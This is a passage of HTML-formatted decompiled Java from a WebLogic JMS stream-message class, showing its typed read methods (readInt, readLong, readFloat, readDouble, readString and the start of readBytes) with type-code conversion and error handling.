class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">3</span>)) + var2);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">60</span>), var3);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">60</span>), var4);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">readInt</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readByte();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">6</span>)) + var3);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readInt();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readShort();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Integer.parseInt(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">70</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">70</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">readLong</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.bis.readByte();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">7</span>)) + var3);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.bis.readInt();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readLong();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.bis.readShort();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Long.parseLong(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">80</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">80</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">float</span> <span class="code-snippet__title">readFloat</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readFloat();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Float.parseFloat(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">5</span>)) + var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">90</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">90</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">double</span> <span class="code-snippet__title">readDouble</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readDouble();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">double</span>)<span class="code-snippet__keyword">this</span>.bis.readFloat();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">4</span>)) + var3);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Double.parseDouble(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">100</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">100</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">readString</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readBoolean());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readByte());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readChar());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readDouble());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readFloat());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readInt());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readLong());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> String.valueOf(<span class="code-snippet__keyword">this</span>.bis.readShort());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.readStringInternal(var1);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.readStringInternal(var1);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">11</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var2 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var2 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">9</span>)) + var2);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">12</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd(), var3);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(), var4);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">readBytes</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">boolean</span> var3 = <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var1 == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (!<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">byte</span> var2;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> ((var2 = <span class="code-snippet__keyword">this</span>.readType()) != <span class="code-snippet__number">11</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (var2 == <span class="code-snippet__number">12</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">return</span> -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var2), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">11</span>)));</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.available_bytes = <span class="code-snippet__keyword">this</span>.bis.readInt();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.available_bytes == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.readingByteArray = <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.available_bytes == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.readingByteArray = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var9;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (var1.length &gt; <span class="code-snippet__keyword">this</span>.available_bytes) {</span></code><code><span class="code-snippet_outer">                        var9 = <span class="code-snippet__keyword">this</span>.bis.read(var1, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">this</span>.available_bytes);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.readingByteArray = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        var9 = <span class="code-snippet__keyword">this</span>.bis.read(var1, <span class="code-snippet__number">0</span>, var1.length);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.available_bytes -= var1.length;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> var9;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd(), var5);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(), var6);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> 